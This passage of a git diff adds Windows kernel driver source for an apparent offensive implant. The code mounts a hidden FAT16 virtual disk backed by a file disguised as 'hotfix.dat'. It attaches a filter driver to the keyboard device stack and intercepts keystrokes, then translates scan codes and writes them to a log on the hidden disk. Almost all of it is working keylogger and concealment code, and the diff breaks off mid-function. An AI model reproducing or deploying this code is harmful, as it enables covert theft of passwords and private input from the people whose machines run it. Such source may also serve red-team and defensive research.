+ case CLOCK_LEVEL:
+ sIrql = L"CLOCK_LEVEL";
+ break;
+ case IPI_LEVEL:
+ sIrql = L"IPI_LEVEL";
+ break;
+ case HIGH_LEVEL:
+ sIrql = L"HIGH_LEVEL";
+ break;
+ default:
+ sIrql = L"Unknown Value";
+ break;
+ }
+
+ DbgPrint("Work Item Function - KeGetCurrentIrql=%ws\n", sIrql);
+ RealMain();
+}
+
+NTSTATUS
+RunQueueWorkItem(
+ IN PDRIVER_OBJECT DriverObject,
+ IN PUNICODE_STRING regPath
+ )
+{
+ UNREFERENCED_PARAMETER(regPath);
+
+ NTSTATUS status;
+ PDEVICE_OBJECT pDeviceObject = NULL;
+ UNICODE_STRING usDriverName, usDosDeviceName;
+
+ DbgPrint("[IG] RunQueueWorkitem Called");
+
+ // TODO: I don't think we actually need to make a valid DriverObject and DeviceObject to
+ // queue a work item to execute asynchronously. Instead, we could potentially investigate
+ // creating a fake structure and passing that in.
+ RtlInitUnicodeString(&usDriverName, L"\\Device\\QueueWorkItem");
+ RtlInitUnicodeString(&usDosDeviceName, L"\\DosDevices\\QueueWorkItem");
+
+ status = IoCreateDevice(DriverObject, 0, &usDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject);
+
+ if (status == STATUS_SUCCESS)
+ {
+ DbgPrint("[IG] Queuing Work Item");
+ PIO_WORKITEM pWorkItem;
+ pWorkItem = IoAllocateWorkItem(pDeviceObject);
+ IoQueueWorkItem(pWorkItem, WorkItemRoutine, DelayedWorkQueue, NULL);
+ }
+ else {
+ DbgPrint("[IG] Error creating device object with IoCreateDevice, status = 0x%08x", status);
+ }
+
+ return status;
+}
+
+VOID
+RealMain()
+{
+ DbgPrint("[IG] RealMain Called");
+
+ //
+ // Setup and initialize the VFS component needs to be done before
+ // the keylogger module is initialized because we are storing
+ // the intercepted keystrokes into the VFS
+ //
+
+ IoCreateDriver(NULL, SetupVFS);
+
+ //
+ // To initialize the keylogging module we need to create a second
+ // driver object using IopCreateDriver
+ //
+
+ IoCreateDriver(NULL, SetupKeylogger);
+}
+
+static NTSTATUS
+SetupVFS(
+ IN PDRIVER_OBJECT DriverObject,
+ IN PUNICODE_STRING regPath
+ )
+
+/*++
+
+ Routine Description:
+
+ Setup routine for IG VFS creates the non-volatile and volatile
+ Virtual File Systems (VFS)
+
+ Arguments:
+
+ DriverObject - DriverObject associated with driver
+
+ regPath - Unreferenced Parameter
+
+ Return Value:
+
+ Always returns successful status
+
+--*/
+
+{
+ NTSTATUS status;
+ LARGE_INTEGER DiskSize;
+ PDEVICE_OBJECT VFSObject = NULL;
+ UNICODE_STRING DeviceName;
+ UNICODE_STRING DiskName;
+ UNICODE_STRING VFSPath;
+
+ DiskSize.QuadPart = VFS_MiB(16);
+
+ VFSInit(DriverObject, regPath);
+
+ //
+ // Mount Non-Volatile VFS
+ //
+
+ RtlInitUnicodeString(&DeviceName, L"\\Device\\RawDisk1");
+ RtlInitUnicodeString(&DiskName, L"\\DosDevices\\Hd1");
+ RtlInitUnicodeString(&VFSPath, L"\\SystemRoot\\hotfix.dat");
+
+ status = VFSCreateDisk(
+ &DeviceName,
+ &DiskName,
+ &VFSPath,
+ &VFSObject,
+ NULL,
+ &DiskSize,
+ FAT16
+ );
+
+ //
+ // Mount Volatile VFS
+ //
+
+ RtlInitUnicodeString(&DeviceName, L"\\Device\\RawDisk2");
+ RtlInitUnicodeString(&DiskName, L"\\DosDevices\\Hd2");
+ DiskSize.QuadPart = VFS_MiB(31);
+
+ status = VFSCreateDisk(
+ &DeviceName,
+ &DiskName,
+ NULL,
+ &VFSObject,
+ NULL,
+ &DiskSize,
+ FAT16
+ );
+
+ return STATUS_SUCCESS;
+}
+
+static NTSTATUS
+SetupKeylogger(
+ IN PDRIVER_OBJECT DriverObject,
+ IN PUNICODE_STRING regPath
+ )
+{
+ UNICODE_STRING KeyboardClass;
+ UNICODE_STRING KeylogOutputFile;
+
+ UNREFERENCED_PARAMETER(regPath);
+
+ //
+ // Initialize Keylogging Subsystem
+ //
+
+ KeylogInit(DriverObject);
+
+ RtlInitUnicodeString(&KeyboardClass, L"\\Device\\KeyboardClass0");
+ RtlInitUnicodeString(&KeylogOutputFile, L"\\??\\Hd1\\Keylog.txt");
+
+ KeylogAttachDevice(&KeyboardClass, &KeylogOutputFile);
+
+ return STATUS_SUCCESS;
+}
\ No newline at end of file
diff --git a/src/ioctl.c b/src/ioctl.c
new file mode 100755
index 0000000..f753b72
--- /dev/null
+++ b/src/ioctl.c
@@ -0,0 +1,207 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include
+
+#include "ioctl.h"
+#include "vfs.h"
+
+static VOID VFSDiskVerify(PIO_STACK_LOCATION irpStack, PVFS_DEVICE_EXTENSION VFSExtension, PIRP irp);
+static VOID VFSGetDiskLengthInfo(PIO_STACK_LOCATION irpStack, PVFS_DEVICE_EXTENSION VFSExtension, PIRP irp);
+static VOID VFSGetParitionInfo(IN PIO_STACK_LOCATION irpStack, IN PVFS_DEVICE_EXTENSION VFSExtension, IN OUT PIRP irp);
+static VOID VFSGetParitionInfoEx(PIO_STACK_LOCATION irpStack, IN PVFS_DEVICE_EXTENSION VFSExtension, IN OUT PIRP irp);
+static VOID VFSQueryDiskGeometry(PIO_STACK_LOCATION irpStack, PVFS_DEVICE_EXTENSION VFSExtension, PIRP irp);
+
+NTSTATUS
+VFSIoctl(
+ IN PDEVICE_OBJECT DeviceObject,
+ OUT PIRP irp
+ )
+
+/*++
+
+ Routine Description:
+
+ This component processes IOCTLs required for a device which emulates a hard disk drive
+
+ Arguments:
+
+ DeviceObject is the deivce object associated with the driver
+
+ irp is the IRP associated with the IOCTL request
+
+ Return Value:
+
+ Returns an NTSTATUS value indicating success/failure of processing
+ of IOCTL
+
+ --*/
+
+{
+ NTSTATUS status = STATUS_SUCCESS;
+ PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(irp);
+ PVFS_DEVICE_EXTENSION VFSExtension = VFS_EXTENSION(DeviceObject);
+
+ //
+ // Handles Windows Disk Driver IOCTLs Required for Emulating a Hard Drive
+ //
+
+ switch (irpStack->Parameters.DeviceIoControl.IoControlCode) {
+
+ case IOCTL_DISK_GET_MEDIA_TYPES:
+ case IOCTL_CDROM_GET_DRIVE_GEOMETRY:
+ case IOCTL_DISK_GET_DRIVE_GEOMETRY:
+ DbgPrint("[IG VFS] IOCTL_DISK_GET_DRIVE_GEOMETRY");
+ VFSQueryDiskGeometry(irpStack, VFSExtension, irp);
+ break;
+
+ case IOCTL_DISK_GET_PARTITION_INFO:
+ DbgPrint("[IG VFS] IOCTL_DISK_GET_PARTITION_INFO");
+ VFSGetParitionInfo(irpStack, VFSExtension, irp);
+ break;
+
+ case IOCTL_DISK_GET_LENGTH_INFO:
+ DbgPrint("[IG VFS] IOCTL_DISK_GET_LENGTH_INFO");
+ VFSGetDiskLengthInfo(irpStack, VFSExtension, irp);
+ break;
+
+ case IOCTL_DISK_CHECK_VERIFY:
+ case IOCTL_DISK_IS_WRITABLE:
+ case IOCTL_DISK_MEDIA_REMOVAL:
+ case IOCTL_DISK_SET_PARTITION_INFO:
+ case IOCTL_DISK_VERIFY:
+ case IOCTL_MOUNTDEV_QUERY_DEVICE_NAME:
+ case IOCTL_STORAGE_CHECK_VERIFY2:
+ case IOCTL_STORAGE_CHECK_VERIFY:
+ case IOCTL_STORAGE_MEDIA_REMOVAL:
+ irp->IoStatus.Status = STATUS_SUCCESS;
+ irp->IoStatus.Information = 0;
+ break;
+
+ default:
+ irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
+ irp->IoStatus.Information = 0;
+ break;
+ }
+
+ status = irp->IoStatus.Status;
+ IoCompleteRequest(irp, IO_NO_INCREMENT);
+ return status;
+}
+
+VOID
+VFSGetParitionInfo(
+ PIO_STACK_LOCATION irpStack,
+ IN PVFS_DEVICE_EXTENSION DeviceExtension,
+ IN OUT PIRP irp
+ )
+{
+ PPARTITION_INFORMATION partition;
+
+ if (irpStack->Parameters.DeviceIoControl.OutputBufferLength
+ < sizeof(PARTITION_INFORMATION)) {
+ irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
+ return;
+ }
+
+ partition = (PPARTITION_INFORMATION)(irp->AssociatedIrp.SystemBuffer);
+
+ partition->PartitionType = PARTITION_FAT32;
+ partition->PartitionNumber = 1;
+
+ partition->BootIndicator = FALSE;
+ partition->RecognizedPartition = TRUE;
+ partition->RewritePartition = FALSE;
+
+ partition->StartingOffset.QuadPart = (ULONGLONG)(0);
+ partition->PartitionLength.QuadPart = DeviceExtension->DiskSize;
+ partition->HiddenSectors = 0;
+
+ irp->IoStatus.Status = STATUS_SUCCESS;
+ irp->IoStatus.Information = sizeof(PARTITION_INFORMATION);
+}
+
+VOID
+VFSQueryDiskGeometry(
+ PIO_STACK_LOCATION irpStack,
+ PVFS_DEVICE_EXTENSION DeviceExtension,
+ PIRP irp
+ )
+{
+ PDISK_GEOMETRY geometry;
+
+ if (irpStack->Parameters.DeviceIoControl.OutputBufferLength < sizeof(DISK_GEOMETRY)) {
+ irp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL;
+ irp->IoStatus.Information = 0;
+ return;
+ }
+
+ geometry = (PDISK_GEOMETRY) irp->AssociatedIrp.SystemBuffer;
+
+ RtlCopyMemory(geometry, &DeviceExtension->DiskGeometry, sizeof(DISK_GEOMETRY));
+
+ irp->IoStatus.Status = STATUS_SUCCESS;
+ irp->IoStatus.Information = sizeof(DISK_GEOMETRY);
+}
+
+VOID
+VFSGetDiskLengthInfo(
+ PIO_STACK_LOCATION irpStack,
+ PVFS_DEVICE_EXTENSION VFSExtension,
+ PIRP irp
+ )
+{
+ PGET_LENGTH_INFORMATION length;
+
+ if (irpStack->Parameters.DeviceIoControl.OutputBufferLength <
+ sizeof(GET_LENGTH_INFORMATION))
+ {
+ irp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL;
+ irp->IoStatus.Information = 0;
+ return;
+ }
+
+ length = (PGET_LENGTH_INFORMATION) irp->AssociatedIrp.SystemBuffer;
+ length->Length.QuadPart = VFSExtension->DiskSize;
+
+ irp->IoStatus.Status = STATUS_SUCCESS;
+ irp->IoStatus.Information = sizeof(GET_LENGTH_INFORMATION);
+}
+
+VOID
+VFSDiskVerify(
+ PIO_STACK_LOCATION irpStack,
+ PVFS_DEVICE_EXTENSION VFSExtension,
+ PIRP irp
+ )
+{
+ PVERIFY_INFORMATION verify_information;
+
+ UNREFERENCED_PARAMETER(VFSExtension);
+
+ if (irpStack->Parameters.DeviceIoControl.InputBufferLength <
+ sizeof(VERIFY_INFORMATION))
+ {
+ irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
+ irp->IoStatus.Information = 0;
+ return;
+ }
+
+ verify_information = (PVERIFY_INFORMATION) irp->AssociatedIrp.SystemBuffer;
+
+ irp->IoStatus.Status = STATUS_SUCCESS;
+ irp->IoStatus.Information = verify_information->Length;
+}
\ No newline at end of file
diff --git a/src/ioctl.h b/src/ioctl.h
new file mode 100644
index 0000000..9ed50aa
--- /dev/null
+++ b/src/ioctl.h
@@ -0,0 +1,27 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include
+
+#include "vfs.h"
+
+//
+// IRP Major Function for Handling IOCTL
+//
+
+NTSTATUS VFSIoctl(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp);
diff --git a/src/keyboardio.c b/src/keyboardio.c
new file mode 100755
index 0000000..38c9d16
--- /dev/null
+++ b/src/keyboardio.c
@@ -0,0 +1,146 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include
+
+#include "keylog.h"
+#include "ntundoc.h"
+#include "klogworker.h"
+#include "keyboardio.h"
+
+NTSTATUS
+KeylogRead(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ )
+
+/*++
+
+ Routine Description:
+
+ Tag IRP_MJ_READ requests for completion so we can get the keystrokes returned
+ by lower level keyboard drivers
+
+ Arguments:
+
+ Standard IRP_MJ_READ handler
+
+ Return Value:
+
+ Returns status value returned by underlying driver on the device stack
+
+--*/
+
+{
+ PIO_STACK_LOCATION currentIrpStack;
+ PIO_STACK_LOCATION nextIrpStack;
+
+ currentIrpStack = IoGetCurrentIrpStackLocation(irp);
+ nextIrpStack = IoGetNextIrpStackLocation(irp);
+ *nextIrpStack = *currentIrpStack;
+
+ IoSetCompletionRoutine(irp,
+ KeylogReadCompletion,
+ DeviceObject,
+ TRUE,
+ TRUE,
+ TRUE);
+
+ return IoCallDriver(((PKEYLOG_DEVICE_EXTENSION) DeviceObject->DeviceExtension)->KeyboardDevice ,irp);
+}
+
+NTSTATUS
+KeylogReadCompletion(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp,
+ IN PVOID Context
+ )
+
+/*++
+
+ Routine Description:
+
+ Add intercepted keystrokes to work queue for processing by worker thread. Needed
+ due to the fact that keystroke processing must operate at an IRQL of PASSIVE_LEVEL
+
+ Arguments:
+
+ DeviceObject - Device Object associated with the completion routine
+
+ irp - I/O Request Packet being completed
+
+ Context - Pointer to keylogger device object
+
+ Return Value:
+
+ Returns an NTSTATUS value preserving the values/sttaus returned by underlying
+ devices on the stack
+
+--*/
+
+{
+ unsigned int count, NumKeys;
+ KEY_DATA *kData;
+ PKEYBOARD_INPUT_DATA keys;
+ PKEYLOG_DEVICE_EXTENSION KeylogExtension;
+
+ UNREFERENCED_PARAMETER(Context);
+
+ KeylogExtension = (PKEYLOG_DEVICE_EXTENSION) DeviceObject->DeviceExtension;
+
+ if(!NT_SUCCESS(irp->IoStatus.Status)) {
+ DbgPrint("[Keylog] IRP_MJ_READ IRP Failed Skipping Processing IRP");
+ goto cleanup_irp_failed;
+ }
+
+ keys = (PKEYBOARD_INPUT_DATA)irp->AssociatedIrp.SystemBuffer;
+ NumKeys = (unsigned int)irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
+
+ for(count = 0; count < NumKeys; count++) {
+
+ //
+ // Add keyboard data to work queue
+ //
+
+ kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
+
+ if(kData == NULL) {
+ DbgPrint("[Keylog] Failed to allocate memory for kData structure");
+ break;
+ }
+
+ kData->KeyData = (char)keys[count].MakeCode;
+ kData->KeyFlags = (char)keys[count].Flags;
+
+ ExInterlockedInsertTailList(&KeylogExtension->QueueListHead,
+ &kData->ListEntry,
+ &KeylogExtension->lockQueue);
+
+ //
+ // Let worker thread know we added new item to queue if it is sleeping
+ //
+
+ KeReleaseSemaphore(&KeylogExtension->semQueue, 0, 1, FALSE);
+ }
+
+cleanup_irp_failed:
+
+ if(irp->PendingReturned) {
+ IoMarkIrpPending(irp);
+ }
+
+ return irp->IoStatus.Status;
+}
diff --git a/src/keyboardio.h b/src/keyboardio.h
new file mode 100644
index 0000000..5b7df96
--- /dev/null
+++ b/src/keyboardio.h
@@ -0,0 +1,33 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include
+
+NTSTATUS
+KeylogRead(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ );
+
+NTSTATUS
+KeylogReadCompletion(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp,
+ IN PVOID Context
+ );
+
diff --git a/src/keylog.c b/src/keylog.c
new file mode 100755
index 0000000..bc1e4bb
--- /dev/null
+++ b/src/keylog.c
@@ -0,0 +1,206 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include
+
+#include "klogcompat.h"
+#include "keylog.h"
+#include "keymap.h"
+#include "ntundoc.h"
+#include "klogworker.h"
+#include "keyboardio.h"
+
+//
+// Driver object used for all keylogger components
+//
+
+static PDRIVER_OBJECT KeyloggerDriver;
+
+NTSTATUS
+KeylogInit(
+ IN PDRIVER_OBJECT DriverObject
+ )
+
+/*++
+
+ Routine Description:
+
+ Initializes the keylogging subsystem by setting up IRP major function
+ handlers for the driver object associated with the keylogger
+
+ Arguments:
+
+ DriverObject - Driver object to be used by the keylogging subsystem
+
+ Return Value:
+
+ Returns success/failure NTSTATUS values
+
+--*/
+
+{
+ unsigned int i = 0;
+
+ //
+ // Basic error checking of passed in driver object
+ //
+
+ if(DriverObject == NULL) {
+ DbgPrint("[Keylog] Initialization failed driver object is null");
+ return STATUS_UNSUCCESSFUL;
+
+ }
+
+ KeyloggerDriver = DriverObject;
+
+ //
+ // Filter driver needs to support pass through of
+ // unsupported IRPs to underlying device stack
+ //
+
+ for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
+ DriverObject->MajorFunction[i] = DispatchPassThrough;
+ }
+
+ DriverObject->MajorFunction[IRP_MJ_READ] = KeylogRead;
+
+ return STATUS_SUCCESS;
+}
+
+NTSTATUS
+KeylogAttachDevice(
+ PUNICODE_STRING KeyboardName,
+ PUNICODE_STRING KeylogFilePath
+ )
+
+/*++
+
+ Routine Description:
+
+ Attach to device stack of the specified keyboard device
+
+ Arguments:
+
+ KeyboardName - Name of device object (e.g. KeyboardClass0)
+
+ KeylogFilePat - File path to write keystrokes
+
+ Return Value:
+
+ Success/failure of attaching to device stack
+
+--*/
+
+{
+ IO_STATUS_BLOCK file_status;
+ NTSTATUS status = STATUS_SUCCESS;
+ OBJECT_ATTRIBUTES obj_attrib;
+ PKEYLOG_DEVICE_EXTENSION KeylogExtension;
+ PDEVICE_OBJECT KeyboardDeviceObject;
+
+ PAGED_CODE();
+
+ status = IoCreateDevice(KeyloggerDriver,
+ sizeof(KEYLOG_DEVICE_EXTENSION),
+ NULL,
+ FILE_DEVICE_KEYBOARD,
+ 0,
+ FALSE,
+ &KeyboardDeviceObject);
+
+ if(!NT_SUCCESS(status)) {
+ DbgPrint("[Keylog] Failed to Create Device Object for Keylogger");
+ return status;
+ }
+
+ //
+ // Since we are acting as a filter driver our driver needs to have the same
+ // flags/attributes as the underlying driver stack we are attaching to
+ // otherwise we will not be able to attach to device stack or BSOD
+ //
+
+ KeyboardDeviceObject->Flags = KeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
+ KeyboardDeviceObject->Flags = KeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
+
+ //
+ // Initialize device extension for device we are hooking
+ //
+
+ RtlZeroMemory(KeyboardDeviceObject->DeviceExtension, sizeof(KEYLOG_DEVICE_EXTENSION));
+ KeylogExtension = (PKEYLOG_DEVICE_EXTENSION)KeyboardDeviceObject->DeviceExtension;
+
+ //
+ // Attach to device stack of driver
+ //
+
+ status = IoAttachDevice(KeyboardDeviceObject,
+ KeyboardName,
+ &KeylogExtension->KeyboardDevice);
+
+ if(!NT_SUCCESS(status)) {
+ DbgPrint("[Keylog] Failed to attach to device stack [%ws]", KeyboardName->Buffer);
+ return status;
+ }
+
+ //
+ // Initialize synchronization primitives between dispatch
+ // routines and worker threads
+ //
+
+ InitializeListHead(&KeylogExtension->QueueListHead);
+ KeInitializeSpinLock(&KeylogExtension->lockQueue);
+ KeInitializeSemaphore(&KeylogExtension->semQueue, 0 , MAXLONG);
+
+ //
+ // Open logfile for keylogging module
+ //
+
+ InitializeObjectAttributes(&obj_attrib,
+ KeylogFilePath,
+ OBJ_CASE_INSENSITIVE,
+ NULL,
+ NULL);
+
+ status = ZwCreateFile(&KeylogExtension->KeystrokeFile,
+ FILE_APPEND_DATA,
+ &obj_attrib,
+ &file_status,
+ NULL,
+ FILE_ATTRIBUTE_NORMAL,
+ FILE_SHARE_READ,
+ FILE_OPEN_IF,
+ FILE_SYNCHRONOUS_IO_NONALERT,
+ NULL,
+ 0);
+
+ if(!NT_SUCCESS(status)) {
+ DbgPrint("[Keylog] Failed to open keylog log file");
+ KeylogExtension->KeystrokeFile = NULL;
+ }
+
+ //
+ // Creating worker thread to handle logging of keypresses
+ //
+
+ status = InitializeKeylogWorker(KeyboardDeviceObject);
+
+ if(!NT_SUCCESS(status)) {
+ DbgPrint("[Keylog] Failed to start worker thread, keylogger initialization failed");
+ return status;
+ }
+
+ return status;
+}
\ No newline at end of file
diff --git a/src/keylog.h b/src/keylog.h
new file mode 100755
index 0000000..156f9a8
--- /dev/null
+++ b/src/keylog.h
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include
+
+//
+// Disable compiler warnings
+//
+
+#pragma warning( disable: 4995 )
+#pragma warning( disable: 4996 )
+
+typedef struct _KEY_STATE
+{
+ int kSHIFT; //if the shift key is pressed
+ int kCAPSLOCK; //if the caps lock key is pressed down
+ int kCTRL; //if the control key is pressed down
+ int kALT; //if the alt key is pressed down
+} KEY_STATE;
+
+typedef struct _KEY_DATA
+{
+ LIST_ENTRY ListEntry;
+ char KeyData;
+ char KeyFlags;
+} KEY_DATA;
+
+typedef struct _KEYLOG_DEVICE_EXTENSION
+{
+ PDEVICE_OBJECT KeyboardDevice; // Pointer to device object below us on the driver stack
+ PETHREAD ThreadObj; // Pointer to worker thread object
+ int ThreadTerminate; // Mechanism to signal worker thread to terminate itself
+
+ KEY_STATE kState; // State of keystrokes when processing key-press combinations
+ HANDLE KeystrokeFile; // Handle to file object which we use to write intercepted keys to disk
+
+ PDEVICE_OBJECT KeyboardDeviceObject;
+
+ KSEMAPHORE semQueue; // Used to tell worker thread that there is now data in the queue
+ KSPIN_LOCK lockQueue; // Used to synchronize access to linked list of keystrokes
+ LIST_ENTRY QueueListHead; // Stores linked list of pressed keys
+} KEYLOG_DEVICE_EXTENSION, *PKEYLOG_DEVICE_EXTENSION;
+
+NTSTATUS KeylogAttachDevice(PUNICODE_STRING KeyboardName, PUNICODE_STRING KeylogFilePath);
+NTSTATUS KeylogInit(IN PDRIVER_OBJECT DriverObject);
diff --git a/src/keymap.c b/src/keymap.c
new file mode 100755
index 0000000..78ae73d
--- /dev/null
+++ b/src/keymap.c
@@ -0,0 +1,321 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include
+
+#include "keymap.h"
+#include "keylog.h"
+#include "ntundoc.h"
+
+/*
+ * US Keyboard Layout Mappings
+ *
+ * Source: http://www.quadibloc.com/comp/scan.htm
+ */
+#define INVALID 0X00
+#define SPACE 0X01
+#define ENTER 0X02
+#define LSHIFT 0x03
+#define RSHIFT 0x04
+#define CTRL 0x05
+#define ALT 0x06
+#define BACKSPACE 0x07
+#define ESC 0x08
+#define TAB 0x09
+
+char KeyMap[84] = {
+ INVALID, //0
+ INVALID, //1
+ '1', //2
+ '2', //3
+ '3', //4
+ '4', //5
+ '5', //6
+ '6', //7
+ '7', //8
+ '8', //9
+ '9', //A
+ '0', //B
+ '-', //C
+ '=', //D
+ BACKSPACE, //E
+ TAB, //F
+ 'q', //10
+ 'w', //11
+ 'e', //12
+ 'r', //13
+ 't', //14
+ 'y', //15
+ 'u', //16
+ 'i', //17
+ 'o', //18
+ 'p', //19
+ '[', //1A
+ ']', //1B
+ ENTER, //1C
+ CTRL, //1D
+ 'a', //1E
+ 's', //1F
+ 'd', //20
+ 'f', //21
+ 'g', //22
+ 'h', //23
+ 'j', //24
+ 'k', //25
+ 'l', //26
+ ';', //27
+ '\'', //28
+ '`', //29
+ LSHIFT, //2A
+ '\\', //2B
+ 'z', //2C
+ 'x', //2D
+ 'c', //2E
+ 'v', //2F
+ 'b', //30
+ 'n', //31
+ 'm' , //32
+ ',', //33
+ '.', //34
+ '/', //35
+ RSHIFT, //36
+ INVALID, //37
+ ALT, //38
+ SPACE, //39
+ INVALID, //3A
+ INVALID, //3B
+ INVALID, //3C
+ INVALID, //3D
+ INVALID, //3E
+ INVALID, //3F
+ INVALID, //40
+ INVALID, //41
+ INVALID, //42
+ INVALID, //43
+ INVALID, //44
+ INVALID, //45
+ INVALID, //46
+ '7', //47
+ '8', //48
+ '9', //49
+ INVALID, //4A
+ '4', //4B
+ '5', //4C
+ '6', //4D
+ INVALID, //4E
+ '1', //4F
+ '2', //50
+ '3', //51
+ '0', //52
+};
+
+///////////////////////////////////////////////////////////////////////
+//The Extended Key Map is used for those scan codes that can map to
+//more than one key. This mapping is usually determined by the
+//states of other keys (ie. the shift must be pressed down with a letter
+//to make it uppercase).
+///////////////////////////////////////////////////////////////////////
+char ExtendedKeyMap[84] = {
+ INVALID, //0
+ INVALID, //1
+ '!', //2
+ '@', //3
+ '#', //4
+ '$', //5
+ '%', //6
+ '^', //7
+ '&', //8
+ '*', //9
+ '(', //A
+ ')', //B
+ '_', //C
+ '+', //D
+ BACKSPACE, //E
+ TAB, //F
+ 'Q', //10
+ 'W', //11
+ 'E', //12
+ 'R', //13
+ 'T', //14
+ 'Y', //15
+ 'U', //16
+ 'I', //17
+ 'O', //18
+ 'P', //19
+ '{', //1A
+ '}', //1B
+ ENTER, //1C
+ CTRL, //1D
+ 'A', //1E
+ 'S', //1F
+ 'D', //20
+ 'F', //21
+ 'G', //22
+ 'H', //23
+ 'J', //24
+ 'K', //25
+ 'L', //26
+ ':', //27
+ '"', //28
+ '~', //29
+ LSHIFT, //2A
+ '|', //2B
+ 'Z', //2C
+ 'X', //2D
+ 'C', //2E
+ 'V', //2F
+ 'B', //30
+ 'N', //31
+ 'M' , //32
+ '<', //33
+ '>', //34
+ '?', //35
+ RSHIFT, //36
+ INVALID, //37
+ INVALID, //38
+ SPACE, //39
+ INVALID, //3A
+ INVALID, //3B
+ INVALID, //3C
+ INVALID, //3D
+ INVALID, //3E
+ INVALID, //3F
+ INVALID, //40
+ INVALID, //41
+ INVALID, //42
+ INVALID, //43
+ INVALID, //44
+ INVALID, //45
+ INVALID, //46
+ '7', //47
+ '8', //48
+ '9', //49
+ INVALID, //4A
+ '4', //4B
+ '5', //4C
+ '6', //4D
+ INVALID, //4E
+ '1', //4F
+ '2', //50
+ '3', //51
+ '0', //52
+};
+
+/*
+ * Write string to keylog file
+ */
+void WriteStringToLog(HANDLE hFile, char *str)
+{
+ if(hFile != NULL) {
+ IO_STATUS_BLOCK io_status;
+ ZwWriteFile(hFile, NULL, NULL, NULL,
+ &io_status, str, (ULONG)strlen(str),
+ NULL, NULL);
+ }
+}
+/*
+ * Write char to keyboard file
+ */
+VOID
+WriteCharToLog(
+ HANDLE hFile,
+ char c
+ )
+{
+ if(hFile != NULL) {
+ IO_STATUS_BLOCK io_status;
+ ZwWriteFile(hFile,NULL, NULL, NULL, &io_status, &c, 1, NULL, NULL);
+ }
+}
+
+/*
+ * Write intercepted keystroke to log file
+ */
+VOID
+WriteKeystrokeToLog(
